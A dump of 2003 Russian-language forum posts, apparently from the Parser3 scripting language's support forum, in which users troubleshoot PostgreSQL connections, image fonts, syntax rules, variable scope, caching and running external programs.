"13084","Я там комментарии между /* и */ удалил в автоматическом режиме. Ну, чтобы размер дистрибутива уменьшить. Видимо, покоцалось что-то лишнее. Сейчас я убрал удаление комментариев. Дистрибутив стал тяжелее на 33 КБ."
"13085","шрифта должен быть? НО только он должен влезать в длина гифа/кол-во символов? т.е. может быть и поменьше, т.к. ведь надо же распределять ьолшие и маленькие быквы, точки, запятые и т.д.\
?"
"13087","Денвер как-то я уже ставил. Ничего интересного, по-моему в нём нет. Легче самому сервер настроить. Что и пришлось сделать\
\
Но суть то не в этом. А в том, чтобы создать базу данных с помощью парсера не средствами базы данных. Денвер то можно поставить только на локальный комп. А если нужно создать базу в инете?"
"13088","Если вам нравится настраивать сервера, и тратить на это время — Ваше дело, сисадмины нам тоже нужны, почётная профессия\
\
Насчёт вашей проблемы: базу данных можно создат на локальной машине, сгенерить sql-скрипт для экспорта. Далле простейшим парсерным скриптом запустть его на сервере.\
Скрипт выполнения sql-команд в цикле сами не напишите?"
"13091","Для экспорта команды создания базы данных?\
\
И запустить его на сервере? У вас оно работало, при отсутствии административных прав на сервере?"
"13092","Ввиду моей тупости разыскивается программист, который сделает орум с наворотами, гостевую, регистрацию на сайте и новостную ленту.\
Если заинтересовались, пишите на vladlug@yandex.ru"
"13093","Поставил я постгрес... все работает удаленно администрирую\
\
Не могу понять как парсером подключится к базе....\
\
написал connect-string  вызываю ^connect[лала]\
\
отвечает:\
[Fri Feb 14 13:11:31 2003] /news/: /home/avenger/pub/html/news/index.html(9): 'connect' native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present) [parser.runtime] \
\
шо такое?"
"13094","user:password@local/database - такой вариант строки работает"
"13096","в pg_hda что нужно писать что бы можно было подключится к локальной машине?"
"13097","CuteFTP считает файлы с расширением *.cgi текстовыми и обращается с ними соответственно, конвертируя их в Unix-формат, а parser3.cgi - бинарный, его конвертировать в процессе закачки не надо.\
\
Я вот пользуюсь Windows Commander как ftp-клиентом, он мне подлянок не делает)))"
"13098","в файле postgresql.conf должна быть такая строчка\
\
tcpip_socket = true\
\
потому что парсер работает через сокеты\
\
"
"13099","возможно ничего, строка коннекта была такая: postgres:password@192.168.200.10/database точно не могу вспомнить потому что все дома находится, домой приду тогда точно скажу.\
\
Да, по умолчанию PostgreSQL запускается без опции приема коннектов по сети, чтобы её включить надо сервер пускать с опцией -k:\
[code]\
/usr/local/pgsql/bin/postmaster -k -D /usr/local/pgsql/data\
[/code]"
"13100","у меня в файле postgresql.conf стоит такой параметр:\
\
\
лалалалалалла\
#\
#	Connection Parameters\
#\
tcpip_socket = true\
^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^- вот такой\
ssl = false\
max_connections = 32\
port = 5432 \
лалалала\
\
после этого у меня все заработало с другой машины pgAdmin2, т.е все коннектится все крутится.... а парсер не могу заставить работать с тойже машины.... \
\
"
"13103","Скажи ему об этом в строке соединения.\
Ты таки не разу не показал ее содержимое.\
\
Формат ее тут: http://parser.ru/docs/lang/app3pgsql.htm\
\
egr показал тебе пример.\
пока ты не объяснишь ему к какому хосту подключаться, к какой базе и с каким логином/паролем - он не будет знать где это искать."
"13105","дело в том, что высота знакоместа нигде не задаётся, а попросту вычисляется как \
высота .gif / количество букв в алфавите\
\
и если что не совпадёт, вычисленная parser не будет совпадать с задуманной вами."
"13106","$SQL.connect-string[pgsql://postgres:bobena@local/template1?charset=win] \
\
а ощибка  вот такая \
\
[Fri Feb 14 15:04:25 2003] /news/: /home/avenger/pub/html/news/index.html(11): 'connect' native method of MAIN (MAIN) accepts minimum 2 parameter(s) (1 present) [parser.runtime] \
\
вроде все драйвера лежат где нужно.... "
"13108","забавно, что при огромном количестве интересных ответов никто не посоветовал человеку кусок кода:\
\
[code]\
#вы говорите, что где-то задали \
#$SQL.connect-string[pgsql://видимо]\
\
#тогда правильно так:\
^connect[$SQL.connect-string]{\
   код работы с базой здесь\
}\
[/code]\
\
между тем connect, очевидно, «не работает» просто по причине неправильных параметров."
"13109","только нет у меня на это сил, и сделаю нескоро.\
\
до тех пор, алгоритм:\
\
[Start] Run... http://www.translate.ru/text.asp\
copy/paste сообщение.\
\
вот что выдаст про данное сообщение:\
\
[ Пятница 14 февраля 15:04:25 2003]/news/:/home/avenger/pub/html/news/index.html (11): 'соединитесь' родной метод ГЛАВНЫХ (ГЛАВНЫЙ) принимает минимум 2 параметра (а) (1 существующий) [parser.runtime] \
"
"13110","Вробе бы ^connect[$connect_string] {лала} - а куда второй параметр пихать?"
"13111","Есть ли метод проверить находит ли  парсера  \"дравер\" к базе"
"13112","нет все включено.... "
"13113","до этого вы приводили другой кусок кода.\
и вообще: при сообщениях о проблемах принято приводить кусок кода не в пересказе, а copy/paste.\
\
скажем, вот сейчас у вас между \"connection_string]\" и \"{лала\" пробел, которого быть не должно."
"13115","а в место лала может ли ничего не стоять?"
"13117","Не понравилось, что из форума нельзя попасть на главную страницу сайта, ткнувшись в логотип."
"13118","я просто проверяю работает ли связка parser3-postgresql \
\
Но теперь точно знаю, что работает :)"
"13120","Я храню структуру сайта в БД в XML. Очень удобно получается. Минус всего этого - при каждом запросе структура вытягивается из БД. Естесственно, сами страницы кэшируются."
"13121"," Это сплошная провокация... \
\
Такие ломки стереотипов у меня не возникали со времени сдачи лаб по prolog'у ...\
\
считаю что в следуюшей версии не плохо было бы убрать такие ограничения %)\
\
\
Поздравляю вас с праздником."
"13122","например, как понять, что вот это…\
[code]\
^if($size>100){большой}{маленький} [текст]\
[/code]\
\
…не вызов if с четырьмя параметрами?"
"13123","они (размеры) могут меняться. но сейчас прописал ширину только."
"13124","потому-что это ссылка на главную страницу форума."
"13125","какого (вырезано цензурой). На будущее - copy/paste кода с ошибкой :) а то развели флейм :)"
"13126","попробуйте в браузере курсором выделить какой либо символ:\
\
Аа Бб Вв Рр . . . , ; : _\
\
вместе с ним выделится и некоторое количество \"пустого пространства\" сверху и снизу, в виде прямоугольника. Это и есть \"знакоместо\". Высота знакоместа любого символа шрифта одинакова, неважно, прописная это буква или строчная. Это нужно учитывать при создании файла шрифта. "
"13127","в документации на аналогичный класс Парсера 2 сказано, что файл шрифта должен быть двухцветным. Существует ли подобное ограничение в Парсер3? "
"13128","просто мне лично показалось не очень удобным. Не значит, что из-за этого нужно все переделывать :-)"
"13129","такого ограничения не существует в parser2, в тамошней документации неточность.\
\
в parser [2&3] фонт может быть цветным, надо только понимать, что палитра не резиновая, и нужных цветов в результирующей картинке может не хватить.\
\
алгоритм поиска цвета для копируемой точки в используемой библиотеке[старенькая gd, которая ещё поддерживала gif] обычный:\
\
[code]\
/* Have we established a mapping for this color? */\
	…\
	/* First look for an exact match */\
		…\
		/* No, so try to allocate it */\
		…\
		/* If we're out of colors, go for the\
		closest color */\
[/code]"
"13130","А может в докакх это указать точнее?)"
"13131","http://parser.ru/docs/lang/imagefont.htm\
\
куда точнее?\
в вашем случае получалось, наверное, высота=[b]10.434895739875[/b] что тут двусмысленного?"
"13132","однако при этом усложнится синтаксический анализатор и упадёт производительность. Данный пример не совсем удачен, потому что у if не бывает конструкции в квадратных скобках, хотя я могу ошибаться :)"
"13133","мысленно замените if на любимое вами название.\
а теперь вспомните, что \
1. количество параметров у метода может быть меньше объявленного\
2. куда приятнее при чтении кода понимать, где заканчивается код и начинается текст. пример обратного:\
\
[code]\
#сколько же параметров у метода 'call'?\
^call(1){a}{b}[текст]\
#допустим, он определён с тремя\
#никто при чтении вызова И НЕ ПОДУМАЕТ, ЧТО '[text]' это НЕ параметр\
[/code]"
"13134","хранить структуру в БД, там удобнее добавлять/редактировать, а при выходе из админ. модуля копировать(кешировать?) структуру в tab-delimited и при генерации страниц работать уже с ним. А при изменении структуры в БД кеш грохается и создается заново. \
Изврат конечно, но оптимизация то налицо?"
"13135","Оптимизация да, но изврат-то чудовищный. В принципе, одно соединение на одного пользователя не так и много. По крайней мере на нормальном дайл-апе задержка настолько несущественная (ну не чувствуется она!), что оптимизировать еще - просто неоправдано. ИМХО"
"13136","^call(1){a}{b}[текст]\
        ^- в этом месте нельзя поставить пробел или \\n, это и смушает...\
"
"13137","Я писал на перле(а также си и туевой кучи других языков) поэтому привык, что могу строить структуру програмы как мне хочется...\
\
привык писать \
for (лала)\
 {\
 }\
\
а тут надо писать \
for(лала){   }   (к примеру)\
и никак иначе.... тяжко...\
\
Это не камень в сторону разработчиков, понятно, что если все это проверять, то парсер будет работать медленне...\
это камень в сторону тех кто писал доку... плз по точнее..."
"13138","[code]\
for[i](1;10){\
  что тебе тут нравится\
)\
[/code]\
\
или\
\
[code]\
^if(условие){\
  что делает, если истина\
}{\
  что делаем если не истина\
}\
[/code]\
\
и никаких проблем. а в доке про это сказано (правда не на каждой странице), и объясняется почему это так. да и в форуме объяснялось подробнее, почему именно так, а не иначе."
"13140","у меня такая проблема немогу зделать скроллер по сообщениям в форуме у скроллера такой код:\
$mess[^table::load[/cfg/forum.cfg]]\
$colvo[10]\
$shag[^math:ceiling(^eval(^mess.count[]/$colvo))]\
$sum3[1]\
$sum4[$colvo]\
^if($sum3 == $sum4){\
^for[scroll](1;^mess.count[]){\
^if($form:number == ^eval($sum3-1)){\
<nobr>${sum3}</nobr>\
}{\
<a href=\"?number=^eval($sum3-1)\"><nobr>${sum3}</nobr></a>\
}\
$sum3[^eval($sum3+1)]\
}[ ]\
}{\
^for[scroll](1;$shag){\
^if($form:number == ^eval($sum3-1)){\
^if($sum4 > ^mess.count[]){\
^if($sum3 == ^mess.count[]){\
<nobr><b>${sum3}</b></nobr>\
}{\
<nobr><b>${sum3}-^mess.count[]</b></nobr>\
}\
}{\
<nobr><b>${sum3}-$sum4</b></nobr>\
}\
}{\
^if($sum4 > ^mess.count[]){\
^if($sum3 == ^mess.count[]){\
<a href=\"?number=^eval($sum3-1)\">${sum3}</a>\
}{\
<a href=\"?number=^eval($sum3-1)\"><nobr>${sum3}-^mess.count[]</nobr></a>\
}\
}{\
<a href=\"?number=^eval($sum3-1)\"><nobr>${sum3}-$sum4</nobr></a>\
}\
}\
$sum3[^eval($sum3+$colvo)]\
$sum4[^eval($sum4+$colvo)]\
}[ | ]\
}\
Выдаёт он та ссылки сверху выводит, а на каждой странице не выводит по 10 сообщений."
"13141","Помогите на .Valuehost настроить парсер..."
"13142","Возьми лучше готовый пример в разделе \"Примеры\" там даже написано как его прикреплять...\
"
"13144","Spacibo я так уже и зделал...."
"13145","В http://www.parser.ru/examples/trees/ не могу создать в базе таблицу с полями. Я в MySQL'e ламер. Может какойнибудь скрипт даст кто? для создания таблиц и полей. \
-----\
Форум по веб-дизайну:\
http://talk.mail.ru/forum/talk.ru.site_create"
"13146","Устал  ждать,  пока  кто-то  займется доработкой just-in-early-beta\
файла  подсветки  синтаксиса  для  FAR Colorer'а, и с мануалом в зубах\
собственноручно принялся с за дело.\
\
Возился  дня  три.  В  результате от наработки Nexus'а остались только\
добрые воспоминания: пришлось переписать все с нуля.\
\
Готово!  Окончательный  вариант  здесь:  www.razetdinov.inc.ru"
"13148","посмотрите [url=\"http://www.parser.ru/docs/lang/voidsql.htm\"]void:sql[/url] в документации, там дан простеиший пример, подставьте в него тело запроса из http://www.parser.ru/examples/trees/ и всё получится.\
\
А ещё для удобной работы с MySQL можно посоветовать phpMyAdmin (есть в дистрибутиве Денвера) или [url=\"http://www.egoroff.spb.ru/opinions/12.html\"]DBtools[/url]."
"13149","Здравствуйте, \
\
Случайно ни у кого нет подсветки для Aditor\
\
Спасибо"
"13150","Я не знаю как установить под FreeBSD"
"13151","Проблема в том, что вы не хотите думать. Под FreeBSD парсер устанавливается и настраивается также как и для любого юникса. Процесс установки и настройки не один раз разобран. Я что зря пишу все эти инструкции?:\
\
http://www.egoroff.spb.ru/portfolio/20.html\
http://www.egoroff.spb.ru/portfolio/13.html\
\
Для чего сделан раздел хостинги, где описаны некоторые хостинги, их особенности? Понятно что новичкам трудно, но не до такой же степени? Вы похоже даже не пытаетесь что-то делать, ибо в противном случае хотя-бы приводили шаги которые делаете. Не зря говорят, - под лежачий камень вода не течёт."
"13152","$sourceDoc[blabla]\
$styleSheet[blabla]\
$transformedDoc[^sourceDoc.transform[$styleSheet]]\
^transformedDoc.string[]\
\
В xsl такая конструкция:\
<!DOCTYPE xsl:stylesheet [\
<!ENTITY nbsp \"&#160;\"> \
]>\
\
и\
\
<xsl:output method=\"html\" />\
\
Можно ли как-то получить в выводе \"&nbsp;\" буквами там, где в xml написано &nbsp; или всю жизнь так и будет \"суперпробел\" на этом месте?"
"13153","Вопрос чисто из любопытства\
Я имею в виду, сколько  запросов в секунду он может обработать\
Можно ли его просто-напросто перегрузить?\
То есть реально ли сделать сервер сходный по посещаемости с mail.ru на парсере?"
"13154","У меня сейчас стоит ^if($sections.uri eq $request:uri){$sections.name} Когда я захожу в дирикторию /link/ все нормально а когда в /link/link.html или /link/test.html получается <a href=\"$sections.uri\">$sections.name</a>. Как сделать так чтобы куда бы не зашел в дириктории всегда было только $sections.name?"
"13155","Не совсем понятно, что вы имеете в виду под запросами? Если к серверу БД, то это всё зависит от быстродействия сервера БД!\
Парсер перегрузить можно, если не правильно обращаться с данными, т.е. вы можете написать такой код, что будет есть огромное кол-во ресурсов для одного процесса, что вам просто может не хватить физических ресурсов сервера! \
Если вы планируете, написать движок для сайта с огромной посещаемостью, то рекомендуется вариант  установки Парсера как модуля или ISAPI. \
Также нужно по максиму оптимизировать код, и написать развитую систему кешерования!\
Перегрузить можно всё, и пхп и что угодно, т.к. вы перегружаете не интерпретатор(если в нём нет багов), а сервер т.е. если процесс ест больше чем ему предназначено системой ресурсов то она его просто отрубает! \
Справка для оптимизации:\
http://www.parser.ru/docs/lang/?statusrusage.htm\
 \
P.S. Вам всегда такие вопросы на ум приходят, в 3 часа ночи?:) \
  \
"
"13156","Да нонял я что не обязательно писать в одну строчку...\
\
я говорил про точ то нельзя писать\
if (условие)\
   {\
   }\
"
"13157","Извеняюсь, не так ушло сообщение\
\
Я имел в вид, что нельзя очень смушает вот это\
\
^if(условие)тут_нельзя_ставить_пробел{действие}"
"13159","Господа! Мне всего на всего хочется запустить /bin/date и получить результат, а я не могу. :("
"13160","RTFM:\
http://parser.ru/docs/lang/app1.htm"
"13161","Так я это знал...!\
Как мне в корень попасть?\
\
PS Я читал весь мануал!\
PPS Я всё пытаюсь GMT узнать. Хочется это сделать красиво. :)"
"13163","Имею форму с ссылками:\
[code]\
<form name=\"gofriend\" action=\"/\" method=\"post\" target=\"_blank\">\
<input name=\"action\" type=\"hidden\" value=\"gofriend\">\
<select name=\"link\" class=\"finpsmall\" onChange=\"gofriend.submit();\">\
<option value=\"\" selected>-- наши друзья --</option>\
<option value=\"http://www.adres.ru\">Adres</option>\
</select>\
</form>\
[/code]\
После поста на index.html вызывается процедура с response:location[$form:link]\
Раньше всё работало. Сейчас открывается окно с таким странным УРЛ-ом:\
\
[b]http://www.адрес_моего_сайта.ru/http%3F//www.adres.ru/[/b]\
\
Т.е. зачем-то подставляется сначала адрес сайта, с которого была отправлена форма.\
\
Где проблема?"
"13164","данные окрашены в uri. покрась (taint/untaint) в as-is"
"13166","^file::exec[/../../../bin/date] в лог выдает\
[Sun Feb 16 19:26:44 2003] /index1.html: /www/WWW/www.npk.spb.ru/index1.html(15): '/www/WWW/www.npk.spb.ru/../../../bin/date' stat failed: No such file or directory (2), actual filename '/www/WWW/www.npk.spb.ru/../../../bin/date' [file.missing]\
\
PS вообще странно... в path'е же путь прописан, нафига ему полный путь? надо парсер доработать :)"
"13167","Есть уверенность в наличии этого файла и наличии прав на его исполнение/доступ в /bin/?"
"13168","Создал пользовательский класс. Не работает. Сделал его тестовым.\
\
@CLASS\
validate\
\
@load[]\
\
@is_email[]\
	$result[Фигня]\
\
Теперь пытаюсь использовать...\
\
@USE\
validation.p\
\
@stop\
<!DOCTYPE html PUBLIC \"-//W3C//DTD XHTML 1.1//EN\" \"http://www.w3.org/TR/xhtml11/DTD/xhtml11.dtd\">\
<html xmlns=\"http://www.w3.org/1999/xhtml\">\
<head>\
<title>Проверочка</title>\
</head>\
<body>\
\
$valid[^validate::load[]]\
#Вызываю конструктор класса.\
^valid.is_email[]\
Вызываю метод класса.\
</body>\
</html>\
\
Проще некуда. Но появляется ошибка \
/valid.html: 'main' method not found [parser.runtime]\
\
Непонятно, почему вылазит такая ошибка даже в таком простейшем классе?"
"13169","метод @main где?\
"
"13170","[Sun Feb 16 22:36:48 2003] /valid.html: 'main' method not found [parser.runtime]\
Это строка из parser3.log\
Ошибка может быть и не в классе, но где? Ведь пример простейший. Может я что-нибудь в синтаксисе проглядел. Parser для меня язык новый..."
"13171","Куда мне этот метод @main засунуть. Просьба не RTFM а ткнуть носом в инструкцию или рабочий пример."
"13173","Почему ты его @stop назвал-то?..."
"13174","Ясно, с этим все нормально. А если надо чтобы /link/ было только sections.name а все остальное <a href=sections.uri>sections.name</a> как это сделать?"
"13175","Товарищи! Как проверить фурычит ли у меня ^file::exec[]??? У меня win2k server sp3 и ^file::exec[cgi-bin/mem.exe] выдает окошко с заголовком [color=\"brown\"]16-разрядная подсистема MS-DOS[/color] и текстом [color=\"brown\"]C:\\WINNT\\system32\\ntvdm.exe Ошибка настройки среды для приложения. Для завершения работы приложения нажмите кнопку \"Закрыть\"[/color]. Естественно mem.exe находится в cgi-bin. Но это мелочи, главное, это значит, что parser3 всё-таки запустил mem.exe. Пишу ^file::exec[cgi-bin/gmt.cgi] получаю [i][Mon Feb 17 00:07:41 2003] /index1.html: c:/wwwroot/index1.html(15): 'exec' contains illegal assignment attempt of file to MAIN method_frame, use constructor [parser.runtime][/i]. При этом gmt.cgi содержит безобидный код:\
[code]\
#!/usr/bin/perl\
print time();\
[/code]\
\
Меняю содержимое gmt.cgi на:\
[code]\
#!/usr/bin/perl\
print \"TTT: \",time(),\"\\n\\n\";\
[/code]\
\
И конструкция \
[code]\
$f[^file::cgi[cgi-bin/gmt.cgi]]\
$f.TTT\
[/code]\
ПАШЕТ!!! :(\
\
В общем-то, нормальный человек бы остановился и на этом, но я никак не могу. Хочу знать, почему не работает ^file::exec[]!\
\
Perl с задачей \"mem.exe\" справляется:\
[code]\
#!/usr/bin/perl\
$date = `mem.exe`;\
print \"Content-type: text/html\\n\\n<pre>$date</pre>\";\
[/code]\
\
выдает:\
[code]\
655360 байт - всего обычной памяти\
655360 байт - доступно для MS-DOS\
628112 максимальный размер исполняемой программы\
\
1048576 байт - всего непрерывной дополнительной памяти\
0 байт - доступно непрерывной дополнительной памяти\
941056 байт - доступной памяти XMS\
резидентная часть MS-DOS загружена в сегмент HMA\
[/code]"
"13177","SELECT UNIX_TIMESTAMP() - это и есть GMT в секундах, а мне оно и нужно было!!!...\
Бли ну бывает ж так..... :)"
"13180","надо бы подкрутить"
"13181","есть кодировка windows-1251, в ней есть определённые microsoft буквы:\
http://www.microsoft.com/globaldev/reference/sbcs/1251.htm\
среди прочих,\
A0 = U+00A0 : NO-BREAK SPACE\
\
загляните в настройки русских Windows в раздел региональных настроек в строку ввода «Разделитель тысяч», вы увидите там глазами пробел. на самом деле, это Alt+0160.\
\
вопрос: откуда берётся эта буква в вашем output?\
ответ: из файла windows-1251.cfg, определяющего кодировку.\
в xml есть UNICODE буква (вы помните, что цифровые entity в xml — в UNICODE?) с кодом 160d, для которой подбирается соответствие в выходной кодировке (по-умолчанию, в windows-1251).\
\
вариант1: можно удалить строку с этой буквой из windows-1251.cfg, тогда parser, за неимением буквы, выдаст цифровую entity: &#160;\
\
вариант2: если для вашего сердца близка именно такая запись неразрывного пробела [по необъяснимой тонкой душевной организации, поскольку видимых разумных причин тратить 6 байт вместо одного нет], то вы можете в @postprocess сделать ^body.replace этой буквы на близкую сердцу устаревшую конструкцию."
"13182","[code]\
@out[code][a;b]\
$a[aaa]\
$b[bbb]\
$code\
\
@main[]\
$a[a]\
$b[b]\
^out{$a - $b }\
[/code]\
\
Должно выводится aaa - bbb, а не a - b \
"
"13183","в out вы передали код, код связан с переменными [b]в своей области видимости[/b].\
\
если бы он был связан с другими переменными, был бы немыслимый хаос: нельзя было бы понять, что вы передаёте и куда.\
\
так что он связан с теми $a и $b, которые видны ^out{тут}.\
а это… глобальные $a и $b [могли бы быть и локальные].\
\
то, что вы потом меняете какие-то другие $a и $b, это не более, чем шум в другой комнате."
"13184","Помнится, PAF говорил, что эффективнее пользовать XSL вместо DOM.\
\
Насколько я понимаю, DOM медленее XSL прежде всего из-за того, что он строит полное древеводиное представление xml-документа в памяти(т.е. большие единоразовые временные затраты). Ну а после построения этого дерева, IMHO, DOM даже быстрее XSL'я.\
\
Так вот, учитывая, что в parser'e после вызова конструктора xdoc  доступны как xsl, так и dom методы, можно предположить, что dom-дерево строится сразу же. А если так, то использование dom'a будет, как минимум не медленее...\
\
Или xml-библиотека настолько интелектуальна, что не строит dom-дерева до первого обращения к dom-свойствам или dom-методам?\
"
"13185","[quote]а это… глобальные $a и $b [могли бы быть и локальные].[/quote]\
\
Как их сделать локальными?"
"13186","[code]\
@out[code][a;b]\
$a[aaa]\
$b[bbb]\
$code\
\
@main[][a;b] << вот так\
$a[a]\
$b[b]\
^out{$a - $b }\
[/code]"
"13187","я не очень понимаю, что хочется добиться.\
давайте я приведу пример, когда такое желательно, возможно, это именно то, чего вы хотите, но упорно замалчиваете:\
\
http://parser.ru/docs/lang/definemethod.htm\
пример к части «Системная переменная: caller»."
"13188","Извини, я не понял идеи, ты делаешь переменные a, b локальными в main, а нам-то нужно, чтоб в коде использовались локальные переменные out (кстати, я именно для этого и объявил a,b локальными в out)."
"13189","caller даёт возможность использовать переменные, локальные в вызвавших его функциях, а мне как раз наоборот нужно, чтоб при «выстреливании» кода использовались локальные перменные той самой функции, в котором код выстреливает."
"13190","перечитайте мой post внимательнее.\
\
насчёт к тем переменным, что используются в {коде} извне: я привёл ссылку на пример, где такое нужно в отдельном post:\
http://parser.ru/forum/?id=13187\
\
насчёт вашей идеи, что {код} якобы должен уметь работать с чужими ему локальными переменными: выкиньте эту ерунду из головы, такой код будет абсолютно никому непонятен через секунду от написания.\
и ещё раз перечитайте статью про caller.\
\
если ничего не помогает, и упорно хочется «чего-то», просьба привести практический пример (кусок кода), обсудим"
"13192","Самый основной пример: функция вызывает 8 скриптов с помощью file:exec[] (скрипты работают с сокетами, чего Парсер пока увы не умеет), складывает результаты их работы в 8 переменных. Функции передаётся фрагмент кода с этими переменными."
"13193","Почти по определению. :)\
Почему бы не использовать hash? Он передается по ссылке, поэтому никаких проблем с возвращением результата..."
"13194","Стой, я так и понял, то есть ты не можешь привести код, выводящий «aaa - bbb» ? (а то вроде как ты сказал, что можешь и начал его приводить)\
\
\
И ещё: есть же замечательная вещь $self.\
Почему бы не сделать так, чтоб мой код выводил именно «aaa - bbb»,\
а при вызове ^out{$self.a - $self.b} выводилось бы «a - b» ?\
"
"13195","1. Запихнуть все результаты в хеш\
2. В пердаваемой строке вместо $переменная поставить $хеш.перменная"
"13196","не вижу, где здесь появляются локальные переменные, которые якобы должны обновиться.\
я же говорю, приведите кусок кода, сразу будет яснее.\
\
общение через переменные, неважно, глобальные или локальные: типичный способ нажить себе/другим проблемы понимания «как же эта штука работает».\
\
чёткий интерфейс: залог успеха:\
\
[code]\
@штуковина[её;параметры]\
что-то делает, что-то возвращает\
[/code]\
\
сравните с\
\
[code]\
@хреновина[её;параметры]\
что-то делает, при этом \
гадит в какие-то, одной ей известные переменные, \
и надеется на то, что с неба нападают какие-то другие \
одной ей известные переменные, не указанные явно в её параметрах\
и которые надо вылавливать из документации по коду, \
которой часто пренебрегают, \
или пытаться понять из зачастую неоправданно длинного кода метода,\
возможно, без комментариев, которыми часто пренебрегают\
[/code]\
\
я врагу не пожелаю разбираться в таком коде."
"13198","предлагается привести пример вашего кода, в части общения с внешним миром.\
\
подумаем вместе над простым интерфейсом."
"13199","Нормально - это когда функция возвращает один результат. \
Для ситуаций с более чем одним результом существуют разные страндартные решение -\
\
1. Возвращать int со статусом, остальные результаты возвращать через изменение параметров - в парсере (как и во многих языках) нельзя явно передавать параметры по ссылке, но по ссылке всегда передаются \"сложные\" типы, которые и можно изменять.\
\
2. Возвращать сложный тип (объект, хеш). Хеш в парсере возвращать удобно:\
   было $a[$r1] ... $f[$r5], стало $result[ $.a[$r1] ... $.f[$r5] ]\
\
3. ...\
\
Но вообще конкретно к парсеру это имеет отдаленное отношение. :) Хотя в принципе в парсере (всвязи с тем, что он интерпретатор)\
возможностей несколько больше: во-первых удобнее передавать код (обычно надо передавать ссылку на метод) и можно получить доступ к локальным переменным вызвавшего процедуру (тот самый $caller).\
"
"13201","Я не стал приводить АБСОЛЮТНО весь код, он итак перенасыщен различными аспектами. Заранее благодарю за потраченное время.\
\
[code]\
@statusimage[ip;code]\
$pingtime[^file::exec[ping.cgi;$.QUERY_STRING[ip=$ip]]]\
$uptime[^file::exec[uptime.cgi;$.QUERY_STRING[ip=$ip]]]\
\
$square[^image::create(88;31;0xFFFF00)] \
^square.font[0123456789abcdefghijklmnopqrstuvwxyz^:;/i/font.gif](0)\
^square.text(5;8)[$code]\
$response:body[^square.gif[]]\
\
@main[]\
\
...\
\
^dbconnect{\
	$res[^table::sql{SELECT ip, buttontext from users where userid=$form:userid}]\
}\
^statusimage[$res.ip]{$res.buttontext}\
[/code]"
"13202","скажем, $pingtime вообще вычисляется тут зря: никто не использует."
"13204","такие вещи не должны заботить получателя документа, поэтому они и не были включены в модель."
"13205","строка $code, взятая из $res.buttontext вида \
\"Pingtime: $ptime\
Uptime: $uptime\"\
\
А $code используется в ^square.text(5;8)[$code]"
"13206","вы печатаете строку, MetaWizard. что эта строка содержит знаки $ и остальные буковки: они не более, чем буковки, вы нигде не указали, что это код.\
\
то, что вы написали ^вызов{тут}, да, это код.\
только вашим кодом является всего лишь банальное «подставьте сюда значение переменной», а вовсе не телепатически-загадочное «дорогой parser, догадайся, что в этой строке лежит код на parser, и выполни его, пожалуйста, в контексте текущих локальных переменных».\
\
диагноз: хранить код на parser во внешних источниках можно (осторожно), но ожидать от языка, что он догадается, что в данной строке код, нельзя.\
\
если не вчитаетесь и начнёте шуметь «я же вот {код} писал», перечитайте ваш код, вы подставляете текстовую переменную [b]и только[/b]."
"13207","Почему я на трезвую голову и в полном сознании назвал @main - стопом уже никому не понять. Клиника.\
Всем спасибо."
"13208","Ориентируясь на Мишину статью в \"примерах\", решил использовать кэширование. Раньше не работал, а сейчас понадобилось.\
\
Столкнулся с такой проблемой - не считывается кэш. Результат работы скрипта пишется, но не считывается, а собирается заново. Почему я так решил? А вот читайте далее..:)\
\
Заключил я всю страницу в ^cache[файл](число секунд){код} - все путем - запрос долго обрабатывается и файлик кэша сохраняется. Жмем релоад - запрос обрабатывается с такой же скоростью, хотя, по идее, должно быть намного быстрее. Причем число секунд установлено в 10800. Решил проверить иначе. Открываю файл кэша, добавляю туда левых пару слов - для проверки. По идее, Парсер должен считать этот файл как есть, без перевычисления кода вызываемой страницы, т.е. я должен увидеть мои левые слова, которых при вычислении нет.\
\
Нихрена - нет моих левых слов. Причем ранее сохраненный файл кэша переписывается.\
\
Этож что за оптимизейшн такой? Где смысл оператора cache? Он так постоянно все заново переписывает, или я чего-то не понимаю?\
\
P.S. Есть подозрение, что Парсер проверяет кэш-файл на целостность и переписывает его, если он not valid."
"13209","правильное подозрение: проверяет.\
вот почему файл не считывается, но записывается понятно меньше. перепроверьте число секунд. там точно в минус никто не ушёл?"
"13210","А то, что в неработающем скрипте может быть более 1 ошибки, это и так ясно..."
"13211","$a — перемнная в том контексте, где она используется\
$caller.a — перемнная в контексте, из которого вызыван метод\
$self.a — глобальная переменная\
\
А сейчас выходит $a <=> $self.a\
"
"13212","выставлено на 3 часа (10800 сек.).\
\
А нельзя ли отследить работу Парсера? Что-то типа лога шагов компиляции страницы?"
"13213","... или переменную?\
\
если переменную, то попробуй убрать птичку перед оператором ^cache и посмотри, правильное время туда подставляется?\
\
или приведи код..."
"13214","мы только поможем.\
"
"13215","вы выдвигаете соображения по поводу того, чем не пользуетесь.\
прошу прощения, что проигнорирую их.\
\
явный пример абсурда утверждаемого вами…\
\
[code]\
@method[a]\
$a не равно $self.a\
[/code]\
\
…да, не равно, и не должно было, ну и что?"
"13216","и подставляются исправно - проверил.\
\
Сейчас вот, кажется, заработало, но все равно - медленно. Записываю страницу, вызываю - намного быстрее..:(\
\
Ладно, лишь бы работало, а то на 1000 коннектах мой MySQL сядет - а так - хоть разгрузка на 3 часа...:)"
"13217","1. Чем заменить неработающий механизм вызова кода с локальными переменными ?\
2. Как передать методу код, взятый из внешнего источника ?"
"13218","Могу ли я подключить классы в конфигурационном auto.p ??? "
"13220","^process{} ?\
\
а вообще мне очень не понравился приводимый тобой код.\
мои мысли:\
1. по моему незачем объединять два несвязаных друг с другом куска (первый - получение данных и формирование строки текста, которую надо нанести на изображение, и второй - собственно нанесение текста). если их разнести по разным методам, то проблем по моему не будет. в случае, если вызывать 2 метода тебе не нравится - сделай для них метод-обертку...\
\
2. в вызываемом методе делать $response:body[^image.gif[]] я бы не стал... получается, что читающий твой код должен угадать, что внутри метода полностью переопределяется output. я-бы вернул объект image и после вызова вывел-бы его."
"13222","Я хочу подключить классы в конфигурационном auto.p\
И потом их нигде не вызывать...\
\
т.е.\
например у меня на С: в папке parser3 лежат фаилы:\
	\
	parser3.exe\
	auto.p \
	class1.p\
	class2.p\
	class3.p\
\
\
Потом я из комаедной строки вызываю \
например C:\\parserp3\\parser3.exe [dir] [file] \
а он мне генерит в папке [dir] страницу\
\
так вот, мне нужно один раз в auto.p \
подцепить все классы (class1.p class2.p class1.p) которые лежат \
в папке С:\\parser3\\\
----------------------------------------------------\
Заранее благодарен\
"
